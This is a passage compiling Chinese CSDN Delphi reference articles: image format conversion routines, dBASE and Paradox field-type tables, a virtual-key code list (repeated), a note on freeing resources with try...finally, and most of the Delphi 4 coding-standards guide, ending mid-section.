MyJpeg:= TJpegImage.Create;
try
myjpeg.LoadFromFile(source);
bmp.Assign(myjpeg);
bmp.SaveToFile(dest);
finally
bmp.free;
myjpeg.Free;
end;
end;

----------------------------------------------------------
5.Bmp转换为JPEG文件格式函数
----------------------------------------------------------
procedure Bmp2Jpg(const source,dest:string;const scale:byte);
var
MyJpeg: TJpegImage;
Image1: TImage;
begin
Image1:= TImage.Create(application);
MyJpeg:= TJpegImage.Create;
try
Image1.Picture.Bitmap.LoadFromFile(source);
MyJpeg.Assign(Image1.Picture.Bitmap);
MyJpeg.CompressionQuality:=scale;
MyJpeg.Compress;
MyJpeg.SaveToFile(dest);
finally
image1.free;
myjpeg.Free;
end;
end;
-----------------------------------------------------------------------


CSDN_文档中心_delphi常用文档之二

Delphi 常用文档资料之二

——dBASE数据类型和长度表

符号 | 大小 | 小数点 | 类型 | 说明
C | 1~254 |  | 字符 | 用来表示字母和数字
F | 1~20 | 0~18 | 符点数 | 用来表示符点数
N | 1~20 | 0~18 | 数字 | 二~十进制(BCD码)
D |  |  | 日期 | 用8字节来表示日期
L |  |  | 逻辑 | 用来表示真/假
M |  |  | Memo | 用来表示备注等文本
O |  |  | OLE | 用来表示OLE对象
B |  |  | 二进制 | 用来表示二进制


CSDN_文档中心_delphi常用文档之四

Delphi 常用文档资料之四

——虚拟键值列表

vk_Lbutton=$01

vk_Rbutton=$02

vk_Cancel=$03

vk_Mbutton=$04

vk_Back=$08

vk_Tab=$09

vk_Clear=$0C

vk_Return=$0D

vk_Shift=$10

vk_Control=$11

vk_Menu=$12

vk_Pause= $13

vk_Capital=$14

vk_Escape=$1B

vk_Space=$20

vk_Prior=$21

vk_Next=$22

vk_End=$23

vk_Home=$24

vk_Left=$25

vk_Up=$26

vk_Right=$27

vk_Down=$28

vk_Select=$29

vk_Print=$2A

vk_Execute=$2B

vk_Snapshot=$2C

vk_Copy=$2C

vk_Insert=$2D

vk_Delete=$2E

vk_Help=$2F

vk_NumPad0=$60

vk_NumPad1=$61

vk_NumPad2=$62

vk_NumPad3=$63

vk_NumPad4=$64

vk_NumPad5=$65

vk_NumPad6=$66

vk_NumPad7=$67

vk_NumPad8=$68

vk_NumPad9=$69

vk_Multiply=$6A

vk_Add=$6B

vk_Separator=$6C

vk_Subtract=$6D

vk_Decimal=$6E

vk_Divide=$6F

vk_F1=$70

vk_F2=$71

vk_F3=$72

vk_F4=$73

vk_F5=$74

vk_F6=$75

vk_F7=$76

vk_F8=$77

vk_F9=$78

vk_F10=$79

vk_F11=$7A

vk_F12=$7B

vk_F13=$7C

vk_F14=$7D

vk_F15=$7E

vk_F16=$7F

vk_F17=$80

vk_F18=$81

vk_F19=$82

vk_F20=$83

vk_F21=$84

vk_F22=$85

vk_F23=$86

vk_F24=$87

vk_NumLock=$90

vk_Scroll=$91

vk_A 到 vk_Z的键值与后面字符A到Z相同

vk_0 到 vk_9的键值与后面字符’0’到’9’相同


CSDN_文档中心_delphi常用文档之一

Delphi 常用文档资料之一

——Paradox数据类型和长度表

符号 | 大小 | 类型 | 说明
A(Alpha) | 1~255 | 字符 | 通常用于表示文本和数字
N(Number) |  | 数字 | 表示浮点数
$(Money) |  | 货币 | 用货币的格式来表示数字
S(Short) |  | 短整型 | 用2个字节表示整数（-32768~+32767）
I(Long_integer) |  | 长整型 | 用四个字节来表示整数
#(BCD) | 0~32 | BCD | 用2进制编码表示十进制
D(Date) |  | 日期 | 用××××·××·××形式表示年、月、日
T(Time) |  | 时间 | 用来表示时间
@(Timestamp) |  | 时间标记 | 表示时间和日期
M(Memo) | !~240 | 备注 | 用来表示长文本
F(Formatted memo) | 0~240 | 格式化文本 | 用来表示格式化文本
G(Grophic) | 0~240 | 图形 | 用来表示图片
O(OLE) | 0~240 | OLE | 用来表示OLE对象
L |  | 逻辑 | 用来表示TRUE和FALSE(真和假)
B(Binary) |  | 二进制 | 存于.Mb文件的BOLOBS
+ |  | 自动增量 | 常整数自动增加
Y(Bytes) | 1~255 | 字节 | 存于.db文件的二进制数


CSDN_文档中心_delphi常用文档资料之四

Delphi 常用文档资料之四

——虚拟键值列表

vk_Lbutton=$01

vk_Rbutton=$02

vk_Cancel=$03

vk_Mbutton=$04

vk_Back=$08

vk_Tab=$09

vk_Clear=$0C

vk_Return=$0D

vk_Shift=$10

vk_Control=$11

vk_Menu=$12

vk_Pause= $13

vk_Capital=$14

vk_Escape=$1B

vk_Space=$20

vk_Prior=$21

vk_Next=$22

vk_End=$23

vk_Home=$24

vk_Left=$25

vk_Up=$26

vk_Right=$27

vk_Down=$28

vk_Select=$29

vk_Print=$2A

vk_Execute=$2B

vk_Snapshot=$2C

vk_Copy=$2C

vk_Insert=$2D

vk_Delete=$2E

vk_Help=$2F

vk_NumPad0=$60

vk_NumPad1=$61

vk_NumPad2=$62

vk_NumPad3=$63

vk_NumPad4=$64

vk_NumPad5=$65

vk_NumPad6=$66

vk_NumPad7=$67

vk_NumPad8=$68

vk_NumPad9=$69

vk_Multiply=$6A

vk_Add=$6B

vk_Separator=$6C

vk_Subtract=$6D

vk_Decimal=$6E

vk_Divide=$6F

vk_F1=$70

vk_F2=$71

vk_F3=$72

vk_F4=$73

vk_F5=$74

vk_F6=$75

vk_F7=$76

vk_F8=$77

vk_F9=$78

vk_F10=$79

vk_F11=$7A

vk_F12=$7B

vk_F13=$7C

vk_F14=$7D

vk_F15=$7E

vk_F16=$7F

vk_F17=$80

vk_F18=$81

vk_F19=$82

vk_F20=$83

vk_F21=$84

vk_F22=$85

vk_F23=$86

vk_F24=$87

vk_NumLock=$90

vk_Scroll=$91

vk_A 到 vk_Z的键值与后面字符A到Z相同

vk_0 到 vk_9的键值与后面字符’0’到’9’相同


CSDN_文档中心_Delphi程序使用资源的释放

写出一个不会造成资源分配崩溃的Delphi应用程序的
关键是确保如果程序中分配了资源，即使当故障发生，程
序也应能释放占用的资源。

    文件、内存、WINDOWS资源和对象是一些必须时时加
以注意的需确保释放的资源。下面的事件控制代码例子中
先分配了内存，然后产生了一个错误，而造成它不再执行
释放内存的程序代码：

    ProcedureTForm1．ButtonlClick（Sender：Tobject
）；

    Var

    Pointer1：Pointer；

    Integer1，Numzero：Intger；

    begin

    Numzero：Κ0；

    GetMem（Pointer1，1024）；｛分配1K的内存资源｝

    Integer1：Κ5divNumzero；｛此句产生一个除法错
误｝

    FreeMem（Pointer1，1024）；｛这里此句将不被执
行｝end；

    尽管大多数错误不会这样明显，但上例包含了重要的
一点：当错误产生后，程序执行跳出模块，其后的资源释
放程序代码不再被执行。为了确保上例中的FreeMem能够
释放被GetMem占用的内存资源，必须把代码放入一个资源
保护模块。

    这里给出一个曲型的资源保护模块的格式：

    ｛资源的分配｝

    try

    ｛资源的使用｝

    finally

    ｛资源的释放｝

    end；

    上面的try．．．finally模块可以使程序总能执行fi
nally部分中的任何程序代码，即使有错误在保护模块
中产生。当try部分中的某一条代码执行时引起错误时，执
行将直接跳到finally部分；若执行中没有错误产生，则
程序按正常顺序执行。

    在下面的事件控制代码例子中先分配了内存，然后产
生了一个错误，但是仍然执行了释放内存的程序代码：

    ProcedureTForm1．Button1Click（Sender：Tobject
）；

    Var

    Pointer1：Pointer；

    Integer1，Numzero：Integer；

    begin

    Numzero：Κ0；

    GetMem（Pointer1，1024）；｛分配1K的内存资源｝

    try

    Integer1：Κ5divNumzero；｛此句产生一个除法错
误｝

    finally

    FreeMem（Pointer1，1024）；｛这里此句仍将被执
行｝

    end；

    end；

    如何保障程序对所用资源的释放，在程序编制中是一
个非常重要的问题，必须在程序编制中加以实践和注意。


CSDN_文档中心_Delphi程序员代码编写标准指南

Delphi 4 程序员代码编写标准指南
版权所有 1998 Xavier Perched和 Steve Teiseira

一、序言
二、通用源代码格式规则
2.1 缩格
2.2 页边空格
2.3 Begin…End 配对
三、Object Pascal
3.1 括号
3.2 保留字和关键字
3.3 过程和函数（例程）
3.3.1 命名/格式化
3.3.2 形式参数
3.3.2.1 格式化
3.3.2.2 命名
3.3.2.3 参数的排序
3.3.2.4 常量参数
3.3.2.5 名称的冲突
3.4 变量
3.4.1 变量的命名和格式
3.4.2 局部变量
3.4.3 全局变量的使用
3.5 类型
3.5.1 大写约定
3.5.1.1 浮点指针类型
3.5.1.2 枚举类型
3.5.1.3 变数和ole变数类型
3.5.2 结构类型
3.5.2.1 数组类型
3.5.2.2 记录类型
3.6 语句
3.6.1 if 语句
3.6.2 case 语句
3.6.2.1 一般性话题
3.6.2.2 格式
3.6.3 while 语句
3.6.4 for 语句
3.6.5 repeat 语句
3.6.6 with 语句
3.6.6.1 一般话题
3.6.6.2 格式
3.7 结构异常处理
3.7.1 一般话题
3.7.2 try…finally的使用
3.7.3 try…except的使用
3.7.4 try…except…else的使用
3.8 类类型
3.8.1 命名和格式
3.8.2 域
3.8.2.1 命名/格式
3.8.2.2 可视化
3.8.3 方法
3.8.3.1 命名/格式
3.8.3.2 使用静态的方法
3.8.3.3 使用虚拟/动态的方法
3.8.3.4 使用抽象的方法
3.8.3.5 属性存取方法
3.8.4 属性
3.8.4.1 命名/格式
3.8.4.2 使用存取的方法
四、文件
4.1 工程文件
4.1.1 命名
4.2 窗体文件
4.2.1 命名
4.3 数据模板文件
4.3.1 命名
4.4 远端数据模板文件
4.4.1 命名
4.5 Unit文件
4.5.1 通用Unit结构
4.5.1.1 unit的名字
4.5.1.2 uses子句
4.5.1.3 interface部分
4.5.1.4 implementation部分
4.5.1.5 initialization部分
4.5.1.6 finalization部分
4.5.2 窗体单元
4.5.2.1 命名
4.5.3 数据模板单元
4.5.3.1 命名
4.5.4 一般目的单元
4.5.4.1 命名
4.5.5 构件单元
4.5.5.1 命名
4.6 文件头
五、窗体和数据模板
5.1 窗体
5.1.1 窗体类型命名标准
5.1.2 窗体实例命名标准
5.1.3 自动创建窗体
5.1.4 模式窗体实例化函数
5.2 数据模板
5.2.1 数据模板命名标准
5.2.2 数据模板实例命名标准
六、包
6.1 使用运行包和设计包的比较
6.2 文件命名标准
七、构件
7.1 用户自定义构件
7.2 构件单元
7.3 使用注册单元
7.4 构件实例命名约定
7.5 构件的前缀
7.6 Standard页
7.7 Additional页
7.8 Win32页
7.9 System页
7.10 Internet页
7.11 Data Access页
7.12 Data Controls页
7.13 Decision Cube页
7.14 QReport页
7.15 Dialogs页
7.16 Win3.1页
7.17 Samples页
7.18 ActiveX页
7.19 Midas页

一、序言

本文档详述了在Delphi 4开发者指南下进行编程的代码编写标准。在通常情况下，本文档遵循“取消”式格式的指引方针，该方针由Borland国际通过一些例外来使用。在Delphi 4开发者指南中包含本文档的目的在于阐述一种方法，通过该方法，开发小组可以在他们所编写的代码中保持一贯的风格。这样做的目的是使在开发小组中的每一个程序员都可以明白其他程序员的代码。这有助于提高代码编写的可读性和使用的一贯性。

本文档并不意味着包含了所有存在于代码中的标准。但是，它的内容已足够帮你起个好头。你可以自由的增加修改这些标准来满足你的需要。我们不赞成你偏离这些由Borland开发人员所使用的标准太远。我们推荐这么做是因为一旦有新的程序员加入到你的开发小组中，而他们最喜欢和最熟悉的是Borland的标准。象大多数代码标准文档，本文档也会根据需要进行改动。因此，你可以到www.xapware.com/ddg中找到最新的更新版本。本文档不包括用户接口标准。本文档是独立的但也是同样重要的。已经有足够的第三方书籍和Microsoft文档包括了另外一些指导方针，而我们决定并不复制这些信息，但我们会指引你到Microsoft Developers Network 和一些资源，在那儿可以找到你所需的信息。

二、通用源代码格式规则

2.1 缩格

缩格是指在每一级有两个空格。不要在源代码中保留tab字符，这是因为tab字符会随着不同用户的不同设置和不同的资源管理工具（打印、文档、版本控制等）而代表不同的宽度。

你可以通过关闭Environment选项对话框中Editor页上的“Use tab character”和“Optimal fill”检查框（通过Tools|Environment）来禁止保存tab字符。

2.2 页边空格

页边空格会被设置成80字符宽。通常，源码不会超出这个边界，但这个方针会有一些弹性。不管是否有可能，那些超出到另一行的语句会在一个逗号或其他操作符之后与前面的语句相连。当一个语句被打断相连时，它应比原来的那一行语句缩进两个字符。

2.3 Begin…End 配对

Begin 子句应写在独立的一行。例如，下面第一行是错误的写法而第二行是正确的。
for I := 0 to 10 do begin //错误，begin同for在同一行
for I := 0 to 10 do //正确，begin出现在独立的一行
begin

这个规则的例外是当begin子句的出现是作为一个else子句的一部分－参考例子：
if some statement then
begin
…
end
else begin
someOtherStatement;
end;

end 语句永远出现在独立的一行。
当begin语句不是一个else子句的一部分时，相应的end语句永远缩进到与begin部分相对应的位置。

三、Object Pascal

3.1 括号

永远不要在括号与括号之间的字符中间留下空格。下面的例子示范了错误的与正确地使用括号中的空格：
CallProc( Aparameter ); //错误
CallProc(Aparameter); //正确

永远不要在一个语句中使用不必要的括号。括号只应在源代码中需要的地方使用。以下的例子示范了错误和正确的使用：
if (I = 42) then //错误 － 多余的括号
if (I = 42) or (J = 42) then //正确 － 需要括号

3.2 保留字和关键字

Object Pascal 保留字和关键字永远是全部小写。

3.3 过程和函数（例程）

3.3.1 命名/格式化

例程的名字永远应该以大写的字母开头并且中间错落分明以便于可读性。下面是一个不正确格式的过程名称：
procedure thisisapoorlyformattedroutinename;

下面是一个合适的大小写例程名称的例子：
procedure ThisIsMuchMoreReadableRoutineName;

例程的名称应该同它的内容相符。一个会导致某个行为的例程应以动词开头。例如：
procedure FormatHardDrive;

一个用于设置输入参数的例程应以单词set作为前缀，例如：
procedure SetUserName;

一个用来接收某个值的例程应以单词get作为前缀，例如：
procedure GetUserName : string;

3.3.2 形式参数

3.3.2.1 格式化

如果有的话，相同类型的形参应合并在一个语句中：
procedure Foo(Param1, Param2, Param3 : Integer; Param4 : string);

3.3.2.2 命名

所有形参的名字应是十分符合它们所代表的意义，特别是应该以传送到例程中的标志符的名称为基础。一个好的参数名称应以字符A为前缀 － 例如：
procedure SomeProc(AuserName : string; AuserAge : integer);

“A”前缀按约定表示该参数的名称是与类类型中的一个属性或域的名称相对应的。

3.3.2.3 参数的排序

下面的形参的顺序重点说明了注册者调用约定调用的好处。

－ 最常用的参数应放在第一位，其它的参数应按从左到右的顺序排列。
－ 输入参数列表应放在输出参数列表的左边。
－ 将通用的参数放在特殊参数的左边，例如：
procedure SomeProc(Aplanet, AContinent, Acountry, Astate, Acity)
－ 排序有可能有些例外，比如事件的处理。类型为TObject的Sender参数经常放在第一位。

3.3.2.4 常量参数

当一个参数为记录型、数组类型、ShortString、或接口类型并且在例程中不被改变时，这些参数应做上常量标记。这样做会让编译器更加有效率的产生有关这些不改变的参数的代码。

而例程中另外一些非变参数也可常量来传送。尽管这样做没有产生任何效果和提高效率，这将会给调用例程的使用者提供更多的信息。

3.3.2.5 名称的冲突

当使用拥有两个名称相同的例程的两个单元时，如果你调用该例程时，在uses子句中排在后面的单元中的例程将会被调用。为了解决这种“在uses子句上的模糊”冲突，要在调用该例程时写上相关的单元的前缀，例如：
sysUtile.FindClose(SR);
或
windows.FindClose(Handle);

3.4 变量

3.4.1 变量的命名和格式

变量的命名应以使用它们的目的相符

循环控制变量应采用一个单独的字符作为名字，比如 I，J，或K，也可以采用更加有意义的名字，比如 UserIndex。

逻辑变量的名字应能充分表达准确的真或假的意思。

3.4.2 局部变量

一个过程中的局部变量应遵循所有其它变量的使用和命名约定。临时变量的取名应合理。

如果必须的话，在一进入例程就应初始化局部变量。局部的AnsiString变量会自动初始化为一个空的字符串。
局部接口和派分接口类型变量将会自动初始化为nil，并且局部变数和ole变数类型变量会自动初始化为Unassigned

3.4.3 全局变量的使用

使用全局变量是不推荐的。但是，在某些时候还是必须使用，而且它们也只应在必须使用的时候才使用。在这种时候，你应努力只在一段上下文范围内使用全局变量。例如，一个全局变量只应在一个单元的implemntation部分内是全局的。如果打算在多个单元类使用全局数据，你应将它们移到一个公共的单元中然后被其它所有单元使用。

全局变量可以在var子句中直接初始化为一个值。记住，所有的全局数据会自动初始化为0,因此不要将全局变量初始化为一个“空”值比如 0、nil、’’、Unassigned、等等。这样做的一个理由是因为零－初始化的全局数据在exe文件中不会占据任何空间。零－初始化数据被存储在一个虚拟的数据段，它在应用程序启动后被分配在一段内存中。非零－初始化的全局数据在硬盘的exe文件占用空间。

3.5 类型

3.5.1 大写约定

如果类型的名字是保留字，那么它应全部小写。Win32 API类型通常全部大写，并且你必须遵循在Windows.pas或其他API单元中的详细类型名称的约定。对于其他变量名字，地一个字母应为大写，而其他字母应错落有致。下面是一些例子：
var
MyString : string; //保留字
WindowHandle : HWND; //Win32 API 类型
I : Integer; //在System单元中引进的类型标识符

3.5.1.1 浮点指针类型

不推荐使用Real类型，因为它的存在只是为了向前兼容早期的Pascal代码。在通常情况下用Double来实现浮点指针的需要。并且，Double对处理器和总线而言是做了最优化处理的，它也是IEEE中定义的标准数据格式。只有当需要的范围超出Double所定义的范围时才使用Extended。Extended是intel定义的类型且在Java中不支持。只有当浮点指针变量的实际字节大小有其意义时才使用Single。（比如当使用另一种语言的DLLs时）。

3.5.1.2 枚举类型

枚举类型的名字需符合使用该类型的目的。该类型的名字需以字符T为前缀，以表明这是一个类型。枚举类型中的标识符列表必须包含两个或三个字符的前缀来对应于该枚举类型的名字 － 例如：
TsongType = (stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);
一个枚举类型的实例的名字应与不要前缀的枚举类型（SongType）相同，除非有更好的原因来赋予该变量更特殊的名字，比如：FavoriteSongType1,FavoriteSongType2 等等。

3.5.1.3 变数和ole变数类型

通常不建议使用变数和Ole变数类型。但在只有运行时刻才能知道数据类型的程序中必须使用该类型，这种情形多出现在COM和数据库开发中。Ole变数使用在以COM为基础的编程中例如自动化和ActiveX控制，而变数使用在非COM的编程中，这是因为变数可以十分有效地存储本地Delphi字符串（同一个字符串变量一样），但Ole变数会将所有的字符串转换为Ole字符串（WideChar 字符串）并且并不实例运算 － 它们永远拷贝。

3.5.2 结构类型

3.5.2.1 数组类型

数组类型的名字需符合它们使用的目的。该类型的名字必须加以前缀T。如果须声明该数组类型的指针，那么该指针需加以前缀P而且应立即声明在该数组声明的前面。例如：
type
PCycleArray = ^TCycleArray;
TCycleArray = array[1…100] of integer;
在实际应用中，数组的变量实例的名称应是其类型的名字去掉前缀T。

3.5.2.2 记录类型

记录类型的名字应符合使用它们的目的。其类型的声明应加以前缀T。如果要声明该记录类型的指针，就应加以前缀P并且应紧靠在类型声明的前面声明。例如：
type
PEmployee = ^TEmployee;
TEmployee = record
EmployeeName : string;
EmployeeRate : Double;
end;

3.6 语句

3.6.1 if 语句

在if/then/else语句中最常发生的行为应放在then子句中，而其它发生可能性较小的行为应放在else子句中。

尽量避免使用嵌套的if语句，在这种情形下应用多个if语句来判断各种可能。

不要使用if嵌套超过五级深度。应使代码编写得更加清晰、明了。

不要在if语句中使用不必要的圆括号。

如果在if语句中有多个条件需测试，这些条件应按计算强度由少到多的顺序从左到右排列。这样做能使编译器在编译代码时获得布尔估算逻辑的捷径，从而使你的代码获得最佳的优化。举例来说，如果条件1快过条件2，而条件2快过条件3，那么在if语句中的排列应是：
if 条件1 and 条件2 and 条件3 then

3.6.2 case 语句

3.6.2.1 一般性话题

在一个case语句中的各个独立的单元应以数字或字母顺序排列。

每一个case单元的动作行为应保持简单而不应该超过四到五行代码。如果所要执行的动作过于复杂应采用独立的过程或函数。

Case语句中的else子句只有当需要缺省行为或处理错误时才使用。

3.6.2.2 格式

case语句应遵循其它结构的缩格和命名约定。

3.6.3 while 语句

在一个while语句中不建议使用exit过程来跳出循环，尽量仅使用循环条件来跳出循环。

在一个while循环中所用的初始化代码应紧靠在进入while循环前面出现而不要被其它不相关的语句隔开。

任何结束后的处理应在循环之后立即进行。

3.6.4 for 语句

for语句只有当循环次数已知的情况下才能取代while语句使用。

3.6.5 repeat 语句

repeat语句的使用同while语句一样，并且遵循同样的通用方针。

3.6.6 with 语句

3.6.6.1 一般话题

with语句应节省使用，并且带有大量的警告。避免过度使用with语句并且在with语句中小心使用多个对象、记录等等。例如：
with Record1, Record2 do
这些事情会使程序员感到困惑并难以发现问题所在。

3.6.6.2 格式

with 语句遵循本文档所说明的命名约定和缩格的格式规则。

3.7 结构异常处理

3.7.1 一般话题

异常的处理大量地使用在错误纠正和资源保护方面。这就是说一旦资源被分配，一个try…finally必需加以使用来保证该资源被正确的释放。这种异常的保护也是指在一个单元的initializition/finalization或一个对象的constructor/destructor中进行资源的分配和释放。

3.7.2 try…finally的使用

任何情形下，每一次的分配都应跟随一个try…finally。举例来说，下面的代码会造成可能的错误：
SomeClass1 := TsomeClass.Create;
SomeClass2 ;= TsomeClass.Create;
try
{ do some code }
finally
SomeClass1.Free;
SomeClass2.Free;
end;

一个更安全更合适的分配过程应是：
SomeClass1 := TSomeClass.Create;
try
SomeClass2 := TsomeClass.Create;
try
{ do some code }
finally
SomeClass2.Free;
end;
finally
SomeClass1.Free;
end;

3.7.3 try…except的使用

只有当在异常被触发而你想执行一些任务时才使用try…except。通常，你没有必要为了只是简单地在屏幕上显示一个错误信息而使用try…except语句，因为这会被Application对象自动执行。如果你想在except子句中执行完一些任务之后调用缺省的异常处理，使用raise来重新触发异常到下一个句柄。

3.7.4 try…except…else的使用

try…except中的else子句不建议使用，因为它会打断所有的异常包括那些你没有准备的异常。

3.8 类类型

3.8.1 命名和格式

类类型的名称应符合使用它们的目的。类型名字应加以前缀T以表明这是一个类型的定义 － 例如：
type
Tcustomer = class(TObject)
类型的实例通常是没有前缀T的类型的名字 － 例如：
var
Customer :Tcustomer;
注意：查阅“构件类型的命名标准”来获得更多有关构件命名的信息。

3.8.2 域

3.8.2.1 命名/格式

类的域名遵循与变量标识符同样的约定除了它们应以F为前缀，来表明这是一个域的名称。

3.8.2.2 可视化

所有的域都必需是私有的。想在类的范围之外存取域得通过属性来使用。

3.8.3 方法

3.8.3.1 命名/格式

方法的命名应遵循本文档中有关过程和函数的约定叙述。

3.8.3.2 使用静态的方法

如果使用一个静态的方法，那么该方法就不能被该类的后代类所继承。

3.8.3.3 使用虚拟/动态的方法

如果你打算该类的方法能被后代的类所继承就得使用虚拟的方法。只有在该方法有多个继承时（直接的或间接的）才使用动态的方法。例如，一个类类型包含一个可继承的方法，而100个后代类要继承这种方法，那么这个方法就会动态地产生为100个后代类使用的内存。

3.8.3.4 使用抽象的方法

如果在一个类中使用抽象的方法，该类就不能被创建。只有在那些永远不会被创建的类中使用抽象的方法。

3.8.3.5 属性存取方法

所有存取类的方法都只能出现在类的private或protected部分。属性存取方法的命名应遵循过程和函数的约定规则。读取存取方法（方法读取器）必需以单词Get为前缀。写入存取方法（方法写入器）必需以单词Set为前缀。方法写入器的参数的名字应为Value，并且它的类型应是它所操作的属性的类型。例如：
TSomeClass = class(TObject)
private
FsomeField : Integer;
protected
function GetSomeField : Integer;
procedure SetSomeField(Value : Integer);
public
property SomeField : Integer read GetSomeField write SetSomeField;
end;

3.8.4 属性

3.8.4.1 命名/格式

属性如果是表示为一个私有域的存取器的话，那么它的名字应是它们所操作的域的名字除去解释符F。

属性的名字应是名词，不是动词。属性表示的是数据，而方法表示的是行为。

数组类型的名称应为复数。一般情况下属性的名称应为单数。

3.8.4.2 使用存取的方法

尽管没有要求，但还是建议尽量少地为一个表示私有域的属性而使用写入存取方法。

四、文件

4.1 工程文件

4.1.1 命名

工程文件应取个描述性的名字。例如，Delphi 4开发者指南错误管理器 的工程名字是：DDGBugs.dpr。一个有关系统信息的程序的名字就应象 SysInfo.dpr。

4.2 窗体文件

4.2.1 命名

一个窗体文件的取名应可以描述使用该窗体的目的，并加以后缀Frm。例如，一个“关于”的窗体的文件名应是AboutFrm.dpr。主窗体的文件名应是MainFrm.dpr。

4.3 数据模板文件

4.3.1 命名

数据模板的取名应能表示使用该数据模板的目的，它的名称应加以两个字符的后缀DM。例如，自定义数据模板的文件名字应为CustomersDM.dfm。

4.4 远端数据模板文件

4.4.1 命名

远端数据模板的取名应能表示使用该远端数据模板的目的，它的名称应加以三个字符的后缀RDM。例如，自定义远端数据模板的文件名字应为CustomersRDM.dfm。

4.5 Unit文件

4.5.1 通用Unit结构

4.5.1.1 unit的名字

Unit文件应取一个可描述性的名字。例如，包含应用程序主窗体的单元应叫做MainFrm.pas。

4.5.1.2 uses子句

在interface部分的uses子句应包含在interface部分中的代码所需要的单元。去掉那些Delphi可以自动加入到程序中的单元。

在implementation部分的uses子句应只包含在implementation部分中的代码所需要的单元的名字。去掉不必要的单元。

4.5.1.3 interface部分

interface部分应包含只那些其它单元所需要存取类型的定义、变量、过程/函数的预定义等等。否则，就应放在implementation部分定义。

4.5.1.4 implementation部分

implementation部分应包含那些只在本单元中私用的类型定义、变量、过程/函数定义等等。

4.5.1.5 initialization部分

不要在initialization 部分放入耗时长的代码，这将使程序的第一个界面出现
得比较缓慢。

4.5.1.6 finalization部分

在这里要保证释放你在Initialization部分所分配的任何资源。

4.5.2 窗体单元

4.5.2.1 命名

一个窗体的单元文件应拥有与它所对应的窗体文件同样的名称。例如，“关于”窗体的单元名称应为 AboutFrm.pas，而主窗体的单元名称应为MainFrm.pas。

4.5.3 数据模板单元

4.5.3.1 命名

一个数据模板的单元文件应拥有与它所对应的数据模板文件同样的名称。例如，一个自定义数据模板单元的名称应为CustomersDM.pas。

4.5.4 一般目的单元

4.5.4.1 命名

一般目的单元的取名应符合使用该单元的目的。例如，一个实用程序单元取名为BugUtilities.pas。一个包含全局变量的单元取名为CustomerGlobals.pas。

注意，该单元的名字不能与它的工程中所使用的所有包中的单元的名字相同。不赞成使用一般的或通用的单元名字。

4.5.5 构件单元

4.5.5.1 命名

构件单元应放在独立的目录，以将它们同定义构件组或构件集合的单元区分开来。它们要永远同工程在不同的目录。单元名字应同它们的内容相符。

注意：查阅“用户定义的构件”部分来获得更多有关构件命名标准的信息。

4.6 文件头

建议在所有源文件、工程文件、单元等等中使用信息化文件头。一个良好的文件头应包含以下信息：
｛
版权… 著作的年、月、日…
}

五、窗体和数据模板

5.1 窗体

5.1.1 窗体类型命名标准

窗体类型的取名应能表达使用该窗体的目的。类型定义应加以前缀T。前缀后面跟随着描述性的名字。最后，应加以Form后缀来描述名字。例如，一个“关于”的窗体的类型的名字应为：
TAboutFrom = class(TForm);
主窗体的定义为：
TMainForm = class(TForm);
一个用户接入窗体的名字应象：
TCustomerEntryForm = class(TForm);

5.1.2 窗体实例命名标准

窗体实例应是没有带前缀T的相应类的名字。例如，对应于前面窗体类型而言，其实例的名字应为：

类型名称 实例名称
TAboutForm AboutForm
TMainForm MainForm
TCustomerEntryForm CustomerEntryForm

5.1.3 自动创建窗体

只有主窗体可以是自动创建的除非有其它更好的理由不这样做。所有其它的窗体必需从工程选项对话框中的自动创建列表中移走。查阅以下部分来获得更多的信息。

5.1.4 模式窗体实例化函数

所有的窗体单元都应包含一个窗体实例化函数，该函数用来创建、设置、模式地显示窗体，并释放窗体。该函数应返回窗体的模式结果。该函数要传递的参数应遵循本文档指定的“参数传递”标准。通过这种方式封装的函数性有助于代码的再利用和维护。

该窗体的变量要从单元中移走，并再窗体实例的函数中进行本地式地定义。注意，这就意味着该窗体必需从工程/选项对话框中的自动创建列表中剔除。参考本文档后面的“自动创建窗体”。

例如，下面的单元展示了再GetUserData窗体中的一个函数。
unit UserDataFrm;
interface
uses
windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TUserDataForm = class(TForm)
edtUserName : TEdit;
edtUserID : TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;
function GetUserData(var aUserName ： String; var aUserID : Integer) :
Word;
implementation
{$R *.DFM }

function GetUserData(var aUserName : String; var aUserID : Integer) :
word;
var
UserDataForm : TuserDataForm;
begin
UserDataForm := TuserDataForm.Create(Application);
try
UserDataForm.Caption := ‘Getting User Data’;
Result := UserDataForm.ShowModal;
if (Result = mrOK) then
begin
aUserName := UserDataForm.edtUserName.Text;
aUserID := StrToInt(UserDataForm.edtUserID.Text);
end;
finally
UserDataForm.Free;
end;
end;
end.

5.2 数据模板

5.2.1 数据模板命名标准

数据模板的取名要符合使用该数据模板的目的。类型的定义应加以前缀T，后面紧接着描述性的名字，最后要加以后缀单词“DataModule”。例如，一个自定义的数据模板有时候应该象：
TCustomerDataModule = class(TDataModule)
一个命令式的数据模板的名字应象：
TOrdersDataModule = class(TDataModule)

5.2.2 数据模板实例命名标准

数据模板实例的名称应是对应不带前缀T的类型的名称。例如，对于前面的窗体类型而言，其实例的名称应为：
类型名称 实例名称
TCustomerDataModule CustomerDataModule
TOrdersDataModule OrdersDataModule

六、包

6.1 使用运行包和设计包的比较

运行时刻的包应只包含其它构件包所要求的单元或构件。另外，包含属性/构件编辑器和其它只为设计的代码应放入到设计时刻包中。注册单元应放在设计包中。

6.2 文件命名标准

包的名称应依照下面的例子：
“iiilibvv.pkg” － 设计时刻包
“iiistdvv.pkg” － 运行时刻包
字符“iii”表示一个3字符标识前缀。这个前缀用来表明公司、个人或其它有标识意义的实体。

字符“vv”表示为该包想要对应Delphi某个版本的包的版本号。

注意，包的名字中包含“lib”或“std”的意思是表明这是一个设计时刻包还是一个运行时刻包。

如果既是设计时刻包又是运行时刻包，该文件的命名是同上面一样的，例如，为Delphi 4开发者指南做的包的名称应为：

DdgLib40.pkg – 设计时刻包
DdgStd40.pkg – 运行时刻包

七、构件

7.1 用户自定义构件

在标准构件中命名出来的构件的名称同在“类类型”部分定义中的一样定义成一个类类型，不同的是它们有一个3字符的指示前缀，这个前缀可以表示公司、个人或其它实体。例如，一个为Delphi 4开发者指南编写的时钟构件的名称定义为：
TddgClock = class(TComponent)
注意，那三个前缀字符是小写的。

7.2 构件单元

构件单元应只包含一个主要的构件，一个主要的构件是指出现在构件栏中的构件。主要构件的辅助构件/对象应放入到同一个单元中。

7.3 使用注册单元

